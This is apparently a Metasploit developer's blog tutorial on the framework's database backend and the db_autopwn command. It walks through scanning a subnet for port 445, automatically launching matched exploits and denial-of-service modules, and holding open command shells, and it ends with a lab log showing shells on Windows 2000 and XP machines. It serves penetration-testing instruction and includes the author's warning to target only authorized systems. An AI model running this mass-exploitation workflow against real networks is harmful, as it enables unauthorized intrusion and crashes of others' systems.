Last updated at Wed, 07 Feb 2024 19:24:11 GMT

A recurring theme in my presentations about Metasploit 3.0 is the need for exploit automation. As of tonight, we finally have enough code to give a quick demonstration :-)

Metasploit 3 uses the ActiveRecord module (part of RoR) to provide an object-oriented interface to an arbitrary database service. Database support is enabled by installing RubyGems, ActiveRecord ("gem install activerecord"), and a database-specific driver ("gem install [ postgresql | sqlite3 | mysql | etc ]"). Once these components have been installed, you will need to load the appropriate plugin from the msfconsole interface for the database that you want to use.  The completed plugins include db_postgres, db_sqlite3, and db_sqlite2.

For this example, we will use the PostgreSQL database server on a Gentoo Linux system. While the SQLite database support is functional, performance problems will prevent it from being useful for performing large-scale exploit automation.

You will need a recent version of Ruby (1.8.4 works nicely), a recent version of PostgreSQL, and a Subversion client for downloading the Metasploit source code. Once these are in place, you need to verify that  RubyGems is also installed. If the gem command is not in your path, you will need to install RubyGems. On Gentoo, the command emerge rubygems will build and install this package. Once RubyGems is installed, you need to use the gem command to install ActiveRecord and the PostgreSQL driver for Ruby. This can be accomplished with the commands gem install activerecord and gem install postgres. To verify your installation, run the following command, which should produce no output or errors:
$ ruby -e 'require "rubygems"; require_gem "postgres";'

Once the prerequisites are in place, you need to create a PostgreSQL instance. If you already have a PostgreSQL server running, you can skip this step. To create a new database instance, run the following commands:
$ initdb ~/metasploitdb
$ pg_ctl -D ~/metasploitdb start

Finally, you need to grab the latest copy of the Metasploit Framework source from the public Subversion tree:
$ svn checkout http://metasploit.com/svn/framework3/trunk/ framework3

To obtain the latest updates in the future, just change into the framework3 directory and execute svn update.

Change into the framework3 directory and execute ./msfconsole. You may see a few warning messages about broken modules that you can safely ignore, but eventually you should be looking at a msf> prompt. Load the PostgreSQL driver plugin using the following command:
msf > load db_postgres

Once the plugin loads, type the help command and look at the new options listed under the Postgres Database section. Since we do not have an existing database, we want to use the db_create command. If you created the PostgreSQL instance using the commands above, this should result in various NOTICE and ERROR messages as it loads the schema into the default database name (metasploit3). If you are using an existing PostgreSQL instance, you will need to pass the appropriate parameters to the db_create command (see the help output for more information).

Now that the console is connected to a new database instance, a new set of console commands become available. These are listed in the help output under the Database Backend section. To verify that the database connection is valid, execute the db_hosts command. If everything worked, there should be no results and no errors listed. If you receive a error message and a backtrace, use the db_disconnect command and try executing db_create again with different parameters.

The console is connected to the database, the schema is in place, you are now ready to import vulnerability data. The current version of the framework supports Nessus NBE output files, Nmap XML output files, and a wrapper command (db_nmap) that will launch the nmap port scanner and record the results into the attached database.

Before you start loading data, take a quick look at the db_autopwn command. If you run this command without any parameters, it should result in a blob of text like the following:

msf > db_autopwn
[*] Usage: db_autopwn [options]
        -t   Show all matching exploit modules
        -x   Select modules based on vulnerability references
        -p   Select modules based on open ports
        -e   Launch exploits against all matched targets
        -r   Use a reverse connect shell
        -b   Use a bind shell on a random port
        -h   Display this help text

The db_autopwn command is where the exploitation magic happens. This command will scan through the database tables and create a list of modules that match up to specific vulnerabilities. This matching process can happen in two different ways. The first method involves analyzing the list of vulnerability references for every exploit and matching them up with the references in every imported vulnerability record. This cross-referencing method is fairly accurate and depends on standard identifiers, such as OSVDB, Bugtraq, and CVE to match exploits with their targets. The second method uses the default port associated with each exploit module to locate targets running the same service. While this will work in most cases, it can cause a fair amount of collateral damage and is likely to miss vulnerabile services running on non-default ports.

At this point, you have a few options. You can either import an existing Nessus NBE file using the db_import_nessus_nbe command, import an existing Nmap XML output file using the  db_import_nmap_xml command, or use the db_nmap command to populate the database. The benefit of using a Nessus NBE file is that it provides data for the cross-referencing mode (-x) of db_autopwn. The benefit of using Nmap data is that you can quickly attack a large group of systems without having to run a complete vulnerability scan, but you will miss vulnerabilities that are not on the default port of the associated Metasploit module.

Please keep in mind is that the db_autopwn command will treat ALL of the records in the database as potential targets. Future versions of the framework will include the ability to limit the targets to a specific set of the entire database. Until this change occurs, be really careful about what data you feed to the framework. Do NOT import anything into the database that you are not allowed to exploit.

For the first attempt, try using the db_nmap command to identify all Windows 2000 and Windows XP systems on the local network that expose the SMB service.
msf > db_nmap -p 445 [target]

Replace the [target] string with the network block of your local subnet or the IP address of a target system that you want to test. This command will use the Nmap port scanner to find systems with port 445 exposed. Once this command completes, use the db_services command to view the results. If no hosts were found with port 445 open, no results will be displayed by the db_services command.

Assuming that you found at least one system with port 445 open, its time to run the db_autopwn command and see what modules it will launch. Execute the following command from the console prompt:
msf > db_autopwn -p -t

The -t flag tells the command to display all the match results and the -p flag indicates that port-based matching should be used to locate potential targets. This command should show a handful of exploits and one or two auxiliary modules for every system that was found with port 445 open. Don't worry about the auxiliary modules for now, as they are disabled by default and need to be manually enabled. This is your last chance to verify that every host in the target list is valid and that exploiting (or crashing) these systems won't result in your incarceration or lack of employment.

Time for the fun part! Execute the db_autopwn command again, this time adding the -e flag. This will result in every one of those modules being launched against their specified target. The default payload is a generic bind shell, using a randomized port number for each attempt. Wait for this command to complete and then execute the sessions -l command to view the results. If any of those target systems were vulnerable, you should see at least one command shell. To interact with these shells, use the sessions -i [ID]. To detach from a shell, use control Z, and to kill a shell, use control C.

Thats it for the basics. To expand the scope of the test, widen the port range for the db_nmap command or import a Nessus NBE file.  If the command finishes, but exploits are still running, you can use the jobs command to kill off any stragglers.

The log below is a result of my own testing against a local network full of vulnerable virtual machines.

Enjoy!

-HD

$ ./msfconsole

       =[ msf v3.0-beta-2-svn
-- --=[ 102 exploits - 93 payloads
-- --=[ 17 encoders - 4 nops
       =[ 13 aux

msf > load db_postgres
[*] Successfully loaded plugin: db_postgres

msf > db_create
dropdb: database removal failed: ERROR:  database "metasploit3" does not exist
CREATE DATABASE
ERROR:  table "hosts" does not exist
[ snip ]

msf > db_nmap -p 445 192.168.0.0/24

Starting Nmap 4.01 ( http://www.insecure.org/nmap/ ) at 2006-09-17 22:49 CDT

Interesting ports on destructo (192.168.0.2):
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Interesting ports on WIN2000DB.lan (192.168.0.106):
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Interesting ports on WINXPSP0.lan (192.168.0.108):
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Interesting ports on WIN2000SP4.lan (192.168.0.139):
PORT    STATE SERVICE
445/tcp open  microsoft-ds

Nmap finished: 256 IP addresses (8 hosts up) scanned in 12.493 seconds
msf > db_services
[*] Service: host=192.168.0.2 port=445 proto=tcp state=up name=microsoft-ds
[*] Service: host=192.168.0.106 port=445 proto=tcp state=up name=microsoft-ds
[*] Service: host=192.168.0.108 port=445 proto=tcp state=up name=microsoft-ds
[*] Service: host=192.168.0.139 port=445 proto=tcp state=up name=microsoft-ds

msf > db_autopwn -p -t -e
[*] Analysis completed in 0.208992004394531 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.0.106:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.0.108:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.0.2:445...
[ snip ]
[*] Calling the vulnerable function...
[*] Calling the vulnerable function...
[*] Trying to exploit Windows 2000 LAN Manager
[*] Bound to 6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.0.139[\BROWSER] ...
[*] Building the stub data...
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 4 opened (192.168.0.145:60778 -> 192.168.0.139:26188)
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 5 opened (192.168.0.145:47380 -> 192.168.0.106:27700)

msf > sessions -l

Active sessions
===============

    Id  Description    Tunnel
    --  -----------    ------
    1   Command shell  192.168.0.145:46858 -> 192.168.0.139:15441
    2   Command shell  192.168.0.145:42700 -> 192.168.0.108:28199
    3   Command shell  192.168.0.145:40966 -> 192.168.0.106:27915
    4   Command shell  192.168.0.145:60778 -> 192.168.0.139:26188
    5   Command shell  192.168.0.145:47380 -> 192.168.0.106:27700

msf > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>